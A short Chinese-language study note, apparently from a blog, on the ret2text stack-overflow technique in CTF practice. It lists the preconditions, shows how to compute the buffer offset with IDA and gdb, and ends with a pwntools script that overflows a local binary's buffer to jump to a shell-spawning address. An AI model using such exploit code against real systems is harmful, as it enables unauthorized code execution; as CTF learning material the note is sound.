ret2text
ret2text需要具备的条件:
- PIE未开,canary未开
- ELF中本身存在system("/bin/sh")
如何计算出var 到 bp的偏移
- ida查看var相对于sp的偏移
- gdb在使用var的gets()等有漏洞的函数处下断点,此处的sp,bp值用于计算偏移
计算代码
#!/bin/python
bp = 0xffffd278
sp = 0xffffd1f0
offsetBetweenSpAndVar = 0x1c
varAddr = sp + offsetBetweenSpAndVar
offsetBetweenBpAndVar = hex(bp - varAddr)
print(offsetBetweenBpAndVar)
利用代码
from pwn import *
context.binary = "ret2text"
io=process("ret2text")
io.sendline('a'*0x6c + 'aaaa' + flat(0x0804863A))
io.interactive()
Comments | NOTHING